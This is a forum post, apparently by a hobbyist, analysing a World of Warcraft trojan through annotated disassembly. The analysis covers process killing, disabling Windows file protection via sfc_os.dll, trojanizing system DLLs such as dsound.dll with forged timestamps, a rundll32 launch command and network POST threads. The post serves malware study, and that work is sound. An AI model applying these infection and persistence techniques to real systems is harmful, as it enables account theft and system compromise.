好友
阅读权限255
听众
最后登录1970-1-1
|
Hmily
发表于 2011-7-15 18:56
肿么不贴解压密码哦?
解压密码:52pojie
*******************************************************************************************************************
在这里说明一下,这是第三次分析。因为工作原因,在外面网吧进行的分析,第一次很惨,分析到一大半了,系统更新,结果我点了
个重新启动,结果才发现这系统有DOL魔盘,自动恢复到原来状态了,所有的都没了,第二次还好,保存了部分,结果停电了,无语。
我是第一次分析木马,不知道怎么分析,也就大体看了下别人的分析文章,所以分析不清晰的地方,请凑合看吧。都是OD IDA来分析
,开始想还原成C代码,后来发现很可笑,VM都没搞定呢,再学习学习或许可能有所提高吧。
*******************************************************************************************************************
====================================================================================================================
UPX的壳,很简单
0041DFE3 - E9 A848FEFF jmp 00402890
在此地址直接F4,然后F8单步,就到了OEP,DUMP保存为virus2.exe即可。
====================================================================================================================
//主文件virus2.exe分析
.text:00402890 sub esp, 0C24h
.text:00402896 push ebx
.text:00402897 push ebp
.text:00402898 push esi
.text:00402899 push edi
.text:0040289A push offset aBigfoot_exe ; "BigFoot.exe"
.text:0040289F call sub_4011A0 ;检查进程BigFoot.exe是否存在
.text:004028A4 mov edi, ds:TerminateProcess
.text:004028AA mov ebp, ds:OpenProcess
.text:004028B0 mov esi, eax
.text:004028B2 xor ebx, ebx
.text:004028B4 add esp, 4
.text:004028B7 cmp esi, ebx
.text:004028B9 jbe short loc_4028D0
.text:004028BB push 7D0h ; dwMilliseconds
.text:004028C0 call ds:Sleep
.text:004028C6 push ebx ; uExitCode
.text:004028C7 push esi ; dwProcessId
.text:004028C8 push ebx ; bInheritHandle
.text:004028C9 push 1 ; dwDesiredAccess
.text:004028CB call ebp ; OpenProcess ;打开进程对象
.text:004028CD push eax ; hProcess
.text:004028CE call edi ; TerminateProcess ;关闭进程
.text:004028D0
.text:004028D0 loc_4028D0: ; CODE XREF: start+29j
.text:004028D0 push offset aWow_exe ; "wow.exe"
.text:004028D5 call sub_4011A0 ;检查进程wow.exe是否存在
.text:004028DA mov esi, eax
.text:004028DC add esp, 4
.text:004028DF cmp esi, ebx
.text:004028E1 jbe short loc_40290B
.text:004028E3 push 1388h ; dwMilliseconds
.text:004028E8 call ds:Sleep
.text:004028EE
.text:004028EE loc_4028EE: ; CODE XREF: start+79j
.text:004028EE push ebx ; uExitCode
.text:004028EF push esi ; dwProcessId
.text:004028F0 push ebx ; bInheritHandle
.text:004028F1 push 1 ; dwDesiredAccess
.text:004028F3 call ebp ; OpenProcess ;打开进程对象
.text:004028F5 push eax ; hProcess
.text:004028F6 call edi ; TerminateProcess ;关闭进程
.text:004028F8 push offset aWow_exe ; "wow.exe"
.text:004028FD call sub_4011A0
.text:00402902 mov esi, eax
.text:00402904 add esp, 4
.text:00402907 cmp esi, ebx
.text:00402909 ja short loc_4028EE
.text:0040290B
.text:0040290B loc_40290B: ; CODE XREF: start+51j
.text:0040290B push 0BB8h ; dwMilliseconds
.text:00402910 call ds:Sleep
.text:00402916 mov ebp, ds:GetSystemDirectoryA
.text:0040291C lea eax, [esp+0C34h+ExistingFileName]
.text:00402923 push 104h ; uSize
.text:00402928 push eax ; lpBuffer
.text:00402929 call ebp ; GetSystemDirectoryA ;获取系统路径
.text:0040292B mov esi, ds:lstrcat
.text:00402931 lea ecx, [esp+0C34h+ExistingFileName]
.text:00402938 push offset a1016_ocx ; "\\1016.ocx"
.text:0040293D push ecx
.text:0040293E call esi ; lstrcat
.text:00402940 call ds:GetTickCount ;获取时间t
.text:00402946 xor edx, edx
.text:00402948 add eax, 1000000h ;t=t+0x1000000
.text:0040294D mov [esp+0C34h+var_C23], edx
.text:00402951 push eax
.text:00402952 mov [esp+0C38h+var_C1F], edx
.text:00402956 lea eax, [esp+0C38h+Dest+3]
.text:0040295A mov dword ptr [esp+0C38h+var_C1B], edx
.text:0040295E push offset asc_404168 ; "%x"
.text:00402963 mov [esp+0C3Ch+var_C17], edx
.text:00402967 push eax ; Dest
.text:00402968 mov [esp+0C40h+var_C13], dx
.text:0040296D mov [esp+0C40h+Dest+3], bl
.text:00402971 mov [esp+0C40h+var_C11], dl
.text:00402975 call ds:sprintf
.text:0040297B add esp, 0Ch
.text:0040297E lea ecx, [esp+0C34h+Dest+3]
.text:00402982 push offset aWuozwtmp_dat ; "wuozwtmp.dat"
.text:00402987 push ecx
.text:00402988 call esi ; lstrcat ;改变文件名FILE为HEX(t)+"wuozwtmp.dat"
.text:0040298A mov ecx, 40h
.text:0040298F xor eax, eax
.text:00402991 lea edi, [esp+0C34h+var_C0F]
.text:00402995 mov [esp+0C34h+NewFileName], bl
.text:00402999 rep stosd
.text:0040299B stosw
.text:0040299D lea edx, [esp+0C34h+NewFileName]
.text:004029A1 push edx ; lpBuffer
.text:004029A2 push 104h ; nBufferLength
.text:004029A7 stosb
.text:004029A8 call ds:GetTempPathA
.text:004029AE lea eax, [esp+0C34h+Dest+3]
.text:004029B2 lea ecx, [esp+0C34h+NewFileName]
.text:004029B6 push eax
.text:004029B7 push ecx
.text:004029B8 call esi ; lstrcat
.text:004029BA lea edx, [esp+0C34h+NewFileName]
.text:004029BE push 1 ; dwFlags
.text:004029C0 lea eax, [esp+0C38h+ExistingFileName]
.text:004029C7 push edx ; lpNewFileName
.text:004029C8 push eax ; lpExistingFileName
.text:004029C9 call ds:MoveFileExA ;创建临时文件FILE
.text:004029CF lea ecx, [esp+0C34h+ExistingFileName]
.text:004029D6 push ecx ; lpFileName
.text:004029D7 push 6Ch ; int
.text:004029D9 call sub_401000 ;创建X:\WINDOWS\System32\1016.ocx
.text:004029DE add esp, 8
.text:004029E1 test eax, eax
.text:004029E3 jz loc_402B5C
.text:004029E9 push offset aWinwcolw_ocx ; "WinWcolw.ocx"
.text:004029EE push offset dword_404194
.text:004029F3 call ds:lstrcpy
.text:004029F9 mov ecx, 100h
.text:004029FE xor eax, eax
.text:00402A00 lea edi, [esp+0C34h+ExistingFileName]
.text:00402A07 lea edx, [esp+0C34h+ExistingFileName]
.text:00402A0E push 104h ; uSize
.text:00402A13 push edx ; lpBuffer
.text:00402A14 rep stosd
.text:00402A16 call ebp ; GetSystemDirectoryA
.text:00402A18 lea eax, [esp+0C34h+ExistingFileName]
.text:00402A1F push offset asc_404090 ; "\\"
.text:00402A24 push eax
.text:00402A25 call esi ; lstrcat
.text:00402A27 lea ecx, [esp+0C34h+ExistingFileName]
.text:00402A2E push offset dword_404194
.text:00402A33 push ecx
.text:00402A34 call esi ; lstrcat
.text:00402A36 lea edx, [esp+0C34h+ExistingFileName]
.text:00402A3D push edx ; lpFileName
.text:00402A3E push 6Ah ; int
.text:00402A40 call sub_401000 ;创建X:\WINDOWS\System32\WinWcolw.ocx
.text:00402A45 add esp, 8
.text:00402A48 test eax, eax
.text:00402A4A jz loc_402B5C
.text:00402A50 lea eax, [esp+0C34h+ExistingFileName]
.text:00402A57 push eax ; lpFileName
.text:00402A58 call sub_4010D0
//;插入数据[12EE8C~12F386]到X:\WINDOWS\System32\WinWcolw.ocx
.text:00402A5D add esp, 4
.text:00402A60 call sub_402670
//进入CALL 402670主要有两部分函数体
//以dsound.dll为例说明
//第一部分CALL 401600、CALL 401DC0,功能如下
/*
读取X:\WINDOWS\System32\dsound.dll前64字节 就是文件头
移动指针FILE_BEGIN 272位置,读取4个字节
移动指针FILE_BEGIN 236位置,读取20个字节
移动指针FILE_BEGIN 480位置,读取40个字节,[PE节信息]
循环读取区段信息,循环比较区段名称没有.data2返回0,否则返回1
将X:\WINDOWS\System32\dsound.dll拷贝到X:\WINDOWS\System32\New.dll
打开X:\WINDOWS\System32\dsound.dll
移动指针FILE_BEGIN 60位置,读取4个字节
移动指针FILE_BEGIN 232位置,读取248个字节
移动指针FILE_BEGIN 480位置,读取248个字节
循环读取区段信息
打开X:\WINDOWS\System32\New.dll
移动指针FILE_END 0位置,写入52个字节
依次写入几个字节,然后写入0x1000~0x1028 40个数据信息
移动指针FILE_BEGIN 640位置,写入40个字节,就是.data2的区段信息
移动指针FILE_BEGIN 232位置,写入248个字节
移动指针FILE_END 0位置,写入1个字节,就是标志1
创建文件X:\WINDOWS\System32\dsound.dll.x[x是开机后的时间]
装载库文件sfc_os.dll并调用其5号函数,用以解除系统文件保护功能,然后释放
将X:\WINDOWS\System32\dsound.dll拷贝为X:\WINDOWS\System32\dsound.dll.x
将X:\WINDOWS\System32\New.dll拷贝为X:\WINDOWS\System32\dsound.dll,来做了个替换
再替换X:\WINDOWS\System32\dsound.dll文件的创建时间、最后修改时间、最后访问时间
*/
//第二部分CALL 4017B0、CALL 401960功能基本与第一部分相同,差异在CALL 401960中有对IMAGE_DOS_HEADER头的检测
//还有ddraw.dll、comres.dll、ksuser.dll、olepro32.dll与上部分处理时相同的,故这里不再复数
.text:00402A65 lea ecx, [esp+0C34h+FileName]
.text:00402A6C push 104h ; uSize
.text:00402A71 push ecx ; lpBuffer
.text:00402A72 call ebp ; GetSystemDirectoryA
.text:00402A74 lea edx, [esp+0C34h+FileName]
.text:00402A7B push offset aFont01_dll ; "\\font01.dll"
.text:00402A80 push edx
.text:00402A81 call esi ; lstrcat
.text:00402A83 lea eax, [esp+0C34h+FileName]
.text:00402A8A push eax ; lpFileName
.text:00402A8B push 6Eh ; int
.text:00402A8D call sub_401000 ;创建X:\WINDOWS\System32\
.text:00402A92 add esp, 8
.text:00402A95 test eax, eax
.text:00402A97 jz loc_402B5C
.text:00402A9D mov ecx, 40h
.text:00402AA2 xor eax, eax
.text:00402AA4 lea edi, [esp+0C34h+var_B0B]
.text:00402AAB mov [esp+0C34h+var_B0C], bl
.text:00402AB2 rep stosd
.text:00402AB4 stosw
.text:00402AB6 lea ecx, [esp+0C34h+var_B0C]
.text:00402ABD push 104h ; uSize
.text:00402AC2 push ecx ; lpBuffer
.text:00402AC3 stosb
.text:00402AC4 call ebp ; GetSystemDirectoryA
.text:00402AC6 lea edx, [esp+0C34h+var_B0C]
.text:00402ACD push offset aRundll32_exe ; "\\rundll32.exe"
.text:00402AD2 push edx
.text:00402AD3 call esi ; lstrcat
.text:00402AD5 mov ecx, 40h
.text:00402ADA xor eax, eax
.text:00402ADC lea edi, [esp+0C34h+var_903]
.text:00402AE3 mov [esp+0C34h+Filename], bl
.text:00402AEA rep stosd
.text:00402AEC stosw
.text:00402AEE stosb
.text:00402AEF lea eax, [esp+0C34h+Filename]
.text:00402AF6 push 104h ; nSize
.text:00402AFB push eax ; lpFilename
.text:00402AFC push ebx ; hModule
.text:00402AFD call ds:GetModuleFileNameA
.text:00402B03 mov ecx, 40h
.text:00402B08 xor eax, eax
.text:00402B0A lea edi, [esp+0C34h+var_A07]
.text:00402B11 mov [esp+0C34h+CmdLine], bl
.text:00402B18 rep stosd
.text:00402B1A stosw
.text:00402B1C push offset aFuck121 ; "fuck121"
.text:00402B21 lea ecx, [esp+0C38h+FileName]
.text:00402B28 push offset aCheckime ; "CheckIME"
.text:00402B2D lea edx, [esp+0C3Ch+var_B0C]
.text:00402B34 stosb
.text:00402B35 push ecx
.text:00402B36 push edx
.text:00402B37 lea eax, [esp+0C44h+CmdLine]
.text:00402B3E push offset aCmdCSSSS ; "cmd /c %s %s,%s %s"
.text:00402B43 push eax ; LPSTR
.text:00402B44 call ds:wsprintfA
//生成命令行"cmd /c C:\WINDOWS\system32\rundll32.exe C:\WINDOWS\system32\font01.dll,CheckIME fuck121
.text:00402B4A add esp, 18h
.text:00402B4D lea ecx, [esp+0C34h+CmdLine]
.text:00402B54 push ebx ; uCmdShow
.text:00402B55 push ecx ; lpCmdLine
.text:00402B56 call ds:WinExec ;执行命令行
.text:00402B5C
.text:00402B5C loc_402B5C: ; CODE XREF: start+153j
.text:00402B5C ; start+1BAj ...
.text:00402B5C call sub_401230 ;创建临时文件wowhm01.bat,并执行
.text:00402B61 pop edi
.text:00402B62 pop esi
.text:00402B63 pop ebp
.text:00402B64 xor eax, eax
.text:00402B66 pop ebx
.text:00402B67 add esp, 0C24h
.text:00402B6D retn 10h
.text:00402B6D start endp
=================================================--1016.ocx分析=====================================================
//1016.ocx分析
.text:10001530
.text:10001530 sub esp, 814h
.text:10001536 lea eax, [esp+814h+String]
.text:1000153A push esi
.text:1000153B push 800h ; nSize
.text:10001540 push eax ; lpFilename
.text:10001541 push 0 ; hModule
.text:10001543 call ds:GetModuleFileNameA ;获取当前文件完整路径
.text:10001549 lea ecx, [esp+818h+String1]
.text:1000154D lea edx, [esp+818h+String]
.text:10001551 push ecx ; lpString1
.text:10001552 push edx ; lpString
.text:10001553 call sub_100014F0 ;获取文件名
.text:10001558 mov esi, ds:lstrcmpiA
.text:1000155E add esp, 8
.text:10001561 lea eax, [esp+818h+String1]
.text:10001565 push offset String2 ; "Wow.exe"
.text:1000156A push eax ; lpString1
.text:1000156B call esi ; lstrcmpiA ;
.text:1000156D test eax, eax
.text:1000156F jz short loc_10001581
.text:10001571 lea ecx, [esp+818h+String1]
.text:10001575 push offset String2 ; "Wow.exe"
.text:1000157A push ecx ; lpString1
.text:1000157B call esi ; lstrcmpiA ;比较是否是wow.exe
.text:1000157D test eax, eax
.text:1000157F jnz short loc_10001586
.text:10001581
.text:10001581 loc_10001581: ; CODE XREF: sub_10001530+3Fj
.text:10001581 call sub_100015D0 ;
.text:10001586
.text:10001586 loc_10001586: ; CODE XREF: sub_10001530+4Fj
.text:10001586 pop esi
.text:10001587 add esp, 814h
.text:1000158D retn
.text:1000158D sub_10001530 endp
//分析一下CALL100015D0
.text:100015D0
.text:100015D0 sub esp, 104h
.text:100015D6 push ebx
.text:100015D7 push ebp
.text:100015D8 push esi
.text:100015D9 push edi
.text:100015DA mov ecx, 40h
.text:100015DF xor eax, eax
.text:100015E1 lea edi, [esp+114h+var_103]
.text:100015E5 mov [esp+114h+OutputString], 0
.text:100015EA rep stosd
.text:100015EC stosw
.text:100015EE stosb
.text:100015EF mov ecx, 41h
.text:100015F4 xor eax, eax
.text:100015F6 lea edi, [esp+114h+OutputString]
.text:100015FA push 104h ; uSize
.text:100015FF rep stosd
.text:10001601 lea eax, [esp+118h+OutputString]
.text:10001605 push eax ; lpBuffer
.text:10001606 call ds:GetSystemDirectoryA
.text:1000160C lea ecx, [esp+114h+OutputString]
.text:10001610 push offset aWinwcolw_ocx ; "\\WinWcolw.ocx"
.text:10001615 push ecx ; lpString1
.text:10001616 call ds:lstrcatA
.text:1000161C mov ebp, ds:OutputDebugStringA
.text:10001622 lea edx, [esp+114h+OutputString]
.text:10001626 push edx ; lpOutputString
.text:10001627 call ebp ; OutputDebugStringA ;得到X:\WINDOWS\System32\WinWcolw.ocx
.text:10001629 lea eax, [esp+114h+OutputString]
.text:1000162D push offset Mode ; "rb"
.text:10001632 push eax ; Filename
.text:10001633 call ds:fopen
.text:10001639 mov edi, ds:fseek
.text:1000163F mov esi, eax
.text:10001641 push 2 ; Origin
.text:10001643 push 0 ; Offset
.text:10001645 push esi ; File
.text:10001646 call edi ; fseek
.text:10001648 push esi ; File
.text:10001649 call ds:ftell
.text:1000164F push 0 ; Origin
.text:10001651 push 0 ; Offset
.text:10001653 push esi ; File
.text:10001654 mov ebx, eax
.text:10001656 call edi ; fseek
.text:10001658 push ebx ; unsigned int
.text:10001659 call ??2@YAPAXI@Z ; operator new(uint)
.text:1000165E add esp, 28h
.text:10001661 mov edi, eax
.text:10001663 test esi, esi
.text:10001665 jz short loc_100016C4
.text:10001667 push esi ; File
.text:10001668 push ebx ; Count
.text:10001669 push 1 ; ElementSize
.text:1000166B push edi ; DstBuf
.text:1000166C call ds:fread ;读取WinWcolw.ocx文件数据
.text:10001672 add esp, 10h
.text:10001675 mov ecx, offset unk_10003040
.text:1000167A push eax ; flOldProtect
.text:1000167B push edi ; int
.text:1000167C call sub_10001040
//CALL 10001040分析
/*
CALL 100012F0->检查WinWcolw.ocx是否正常,大小、e_magic、e_lfanew等,正常返回1,否则返回0
CALL 100013D0->检查"PE",然后加载WinWcolw.ocx,加载成功返回1,否则返回0
伪C码
if(NumberOfSections > 0)
size = VirtualAddress+(VirtualSize > SizeOfRawData ? SizeOfRawData : VirtualSize)
VirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
LoadLibrary(KERNEL32.dll)->加载函数
VirtualFree
*/
.text:10001681 test eax, eax
.text:10001683 jnz short loc_100016A2
.text:10001685 push edi ; void *
.text:10001686 call ??3@YAXPAX@Z ; operator delete(void *)
.text:1000168B add esp, 4
.text:1000168E push offset OutputString ; "LOAD-FAIL!"
.text:10001693 call ebp ; OutputDebugStringA ;显示加载失败
.text:10001695 pop edi
.text:10001696 pop esi
.text:10001697 pop ebp
.text:10001698 xor eax, eax
.text:1000169A pop ebx
.text:1000169B add esp, 104h
.text:100016A1 retn
.text:100016A2 ; ---------------------------------------------------------------------------
.text:100016A2
.text:100016A2 loc_100016A2: ; CODE XREF: sub_100015D0+B3j
.text:100016A2 push offset aLoadOkgb ; "LOAD-OK!"
.text:100016A7 call ebp ; OutputDebugStringA ;显示加载成功
.text:100016A9 push esi ; File
.text:100016AA call ds:fclose ;关闭文件句柄
.text:100016B0 push edi ; void *
.text:100016B1 call ??3@YAXPAX@Z ; operator delete(void *)
.text:100016B6 add esp, 8
.text:100016B9 pop edi
.text:100016BA pop esi
.text:100016BB pop ebp
.text:100016BC pop ebx
.text:100016BD add esp, 104h
.text:100016C3 retn
.text:100016C4 ; ---------------------------------------------------------------------------
.text:100016C4
.text:100016C4 loc_100016C4: ; CODE XREF: sub_100015D0+95j
.text:100016C4 push edi ; void *
.text:100016C5 call ??3@YAXPAX@Z ; operator delete(void *)
.text:100016CA add esp, 4
.text:100016CD or eax, 0FFFFFFFFh
.text:100016D0 pop edi
.text:100016D1 pop esi
.text:100016D2 pop ebp
.text:100016D3 pop ebx
.text:100016D4 add esp, 104h
.text:100016DA retn
.text:100016DA sub_100015D0 endp
====================================================================================================================
===============================================WinWcolw.ocx分析=====================================================
.text:10007890 sub esp, 838h
.text:10007896 lea eax, [esp+838h+String]
.text:1000789A push esi
.text:1000789B push edi
.text:1000789C push 800h ; nSize
.text:100078A1 push eax ; lpFilename
.text:100078A2 push 0 ; hModule
.text:100078A4 call ds:GetModuleFileNameA ;获取程序完整路径
.text:100078AA lea ecx, [esp+840h+String1]
.text:100078AE lea edx, [esp+840h+String]
.text:100078B2 push ecx ; lpString1
.text:100078B3 push edx ; lpString
.text:100078B4 call sub_10007060 ;获取程序名
.text:100078B9 mov esi, ds:lstrcmpiA
.text:100078BF add esp, 8
.text:100078C2 lea eax, [esp+840h+String1]
.text:100078C6 push offset aWow_exe ; "wow.exe"
.text:100078CB push eax ; lpString1
.text:100078CC call esi ; lstrcmpiA ;是否是wow.exe
.text:100078CE test eax, eax
.text:100078D0 jnz loc_100079B9
.text:100078D6 call ds:GetCurrentProcessId ;获取pid
.text:100078DC mov edx, eax
.text:100078DE mov ecx, 8
.text:100078E3 xor eax, eax
.text:100078E5 lea edi, [esp+840h+Name]
.text:100078E9 rep stosd
.text:100078EB push edx
.text:100078EC lea ecx, [esp+844h+Name]
.text:100078F0 push offset Format ; "%x"
.text:100078F5 push ecx ; Dest
.text:100078F6 call ds:sprintf
.text:100078FC add esp, 0Ch
.text:100078FF lea edx, [esp+840h+Name]
.text:10007903 push offset aWow_exe ; "wow.exe"
.text:10007908 push edx ; lpString1
.text:10007909 call ds:lstrcatA ;pid+wow.exe
.text:1000790F lea eax, [esp+840h+Name]
.text:10007913 push eax ; lpName
.text:10007914 push 0 ; bInitialOwner
.text:10007916 push 0 ; lpMutexAttributes
.text:10007918 call ds:CreateMutexA ;创建互斥对象
.text:1000791E mov esi, eax
.text:10007920 call sub_100072E0 ;
.text:10007925 call ds:GetLastError
.text:1000792B cmp eax, 0B7h
.text:10007930 jnz short loc_10007942
.text:10007932 push esi ; hObject
.text:10007933 call ds:CloseHandle
.text:10007939 pop edi
.text:1000793A pop esi
.text:1000793B add esp, 838h
.text:10007941 retn
.text:10007942 ; ---------------------------------------------------------------------------
.text:10007942
.text:10007942 loc_10007942: ; CODE XREF: sub_10007890+A0j
.text:10007942 lea ecx, [esp+840h+String]
.text:10007946 push offset byte_1000DB1C ; lpString1
.text:1000794B push ecx ; lpString2
.text:1000794C call sub_100070A0
.text:10007951 add esp, 8
.text:10007954 mov esi, ds:CreateThread
.text:1000795A lea edx, [esp+840h+ThreadId]
.text:1000795E push edx ; lpThreadId
.text:1000795F push 0 ; dwCreationFlags
.text:10007961 push 0 ; lpParameter
.text:10007963 push offset sub_100073A0 ; lpStartAddress
.text:10007968 push 0 ; dwStackSize
.text:1000796A push 0 ; lpThreadAttributes
.text:1000796C call esi ; CreateThread ;创建线程1
.text:1000796E mov edi, ds:CloseHandle
.text:10007974 push eax ; hObject
.text:10007975 call edi ; CloseHandle
.text:10007977 push 0 ; lpThreadId
.text:10007979 push 0 ; dwCreationFlags
.text:1000797B push 0 ; lpParameter
.text:1000797D push offset sub_10001AC0 ; lpStartAddress
.text:10007982 push 0 ; dwStackSize
.text:10007984 push 0 ; lpThreadAttributes
.text:10007986 call esi ; CreateThread ;创建线程2
.text:10007988 push 0 ; lpThreadId
.text:1000798A push 0 ; dwCreationFlags
.text:1000798C push 0 ; lpParameter
.text:1000798E push offset sub_10006BD0 ; lpStartAddress
.text:10007993 push 0 ; dwStackSize
.text:10007995 push 0 ; lpThreadAttributes
.text:10007997 call esi ; CreateThread ;创建线程3
.text:10007999 lea eax, [esp+840h+ThreadId]
.text:1000799D push eax ; lpThreadId
.text:1000799E push 0 ; dwCreationFlags
.text:100079A0 push 0 ; lpParameter
.text:100079A2 push offset sub_10004240 ; lpStartAddress
.text:100079A7 push 0 ; dwStackSize
.text:100079A9 push 0 ; lpThreadAttributes
.text:100079AB call esi ; CreateThread ;创建线程4
.text:100079AD push eax ; hObject
.text:100079AE call edi ; CloseHandle
.text:100079B0 pop edi
.text:100079B1 pop esi
.text:100079B2 add esp, 838h
.text:100079B8 retn
.text:100079B9 ; ---------------------------------------------------------------------------
.text:100079B9
.text:100079B9 loc_100079B9: ; CODE XREF: sub_10007890+40j
.text:100079B9 lea ecx, [esp+840h+String1]
.text:100079BD push offset aBigfoot_exe ; "BigFoot.exe"
.text:100079C2 push ecx ; lpString1
.text:100079C3 call esi ; lstrcmpiA ;是否是BigFoot.exe
.text:100079C5 test eax, eax
.text:100079C7 jnz loc_10007A50
.text:100079CD call ds:GetCurrentProcessId ;获取pid
.text:100079D3 mov edx, eax
.text:100079D5 mov ecx, 8
.text:100079DA push edx
.text:100079DB xor eax, eax
.text:100079DD lea edi, [esp+844h+Name]
.text:100079E1 lea edx, [esp+844h+Name]
.text:100079E5 push offset Format ; "%x"
.text:100079EA push edx ; Dest
.text:100079EB rep stosd
.text:100079ED call ds:sprintf
.text:100079F3 add esp, 0Ch
.text:100079F6 lea eax, [esp+840h+Name]
.text:100079FA push offset aBigfoot_exe ; "BigFoot.exe"
.text:100079FF push eax ; lpString1
.text:10007A00 call ds:lstrcatA ;pid+BigFoot.exe
.text:10007A06 lea ecx, [esp+840h+Name]
.text:10007A0A push ecx ; lpName
.text:10007A0B push 0 ; bInitialOwner
.text:10007A0D push 0 ; lpMutexAttributes
.text:10007A0F call ds:CreateMutexA ;创建互斥对象
.text:10007A15 mov esi, eax
.text:10007A17 call sub_100072E0
.text:10007A1C call ds:GetLastError
.text:10007A22 cmp eax, 0B7h
.text:10007A27 jnz short loc_10007A39
.text:10007A29 push esi ; hObject
.text:10007A2A call ds:CloseHandle
.text:10007A30 pop edi
.text:10007A31 pop esi
.text:10007A32 add esp, 838h
.text:10007A38 retn
.text:10007A39 ; ---------------------------------------------------------------------------
.text:10007A39
.text:10007A39 loc_10007A39: ; CODE XREF: sub_10007890+197j
.text:10007A39 lea edx, [esp+840h+String]
.text:10007A3D push offset byte_1000DB1C ; lpString1
.text:10007A42 push edx ; lpString2
.text:10007A43 call sub_100070A0
.text:10007A48 add esp, 8
.text:10007A4B call sub_100072F0
//读入验证数据[0x450000~0x450006]进行判断,正确时,输出"BigFoot-ok",然后设置页面属性。
.text:10007A50
.text:10007A50 loc_10007A50: ; CODE XREF: sub_10007890+137j
.text:10007A50 pop edi
.text:10007A51 pop esi
.text:10007A52 add esp, 838h
.text:10007A58 retn
.text:10007A58 sub_10007890 endp
第一个线程 设置页面属性,修改程序数据
第二个线程 处理网络数据POST操作
Wininet.dll
InternetOpenA
InternetOpenUrlA
InternetConnectA
HttpOpenRequestA
HttpSendRequestA
HttpQueryInfoA
InternetReadFile
InternetWriteFile
InternetQueryDataAvailable
InternetCloseHandle
第三个进程 处理网络数据POST操作
第四个进程VM过,水平有限,没有跟,跟也跟不出。
部分信息可参照网络的其他分析
http://www.shaduruanjian8.com/20110624_winwcolw-ocx
水平有限,就到此了~
|
|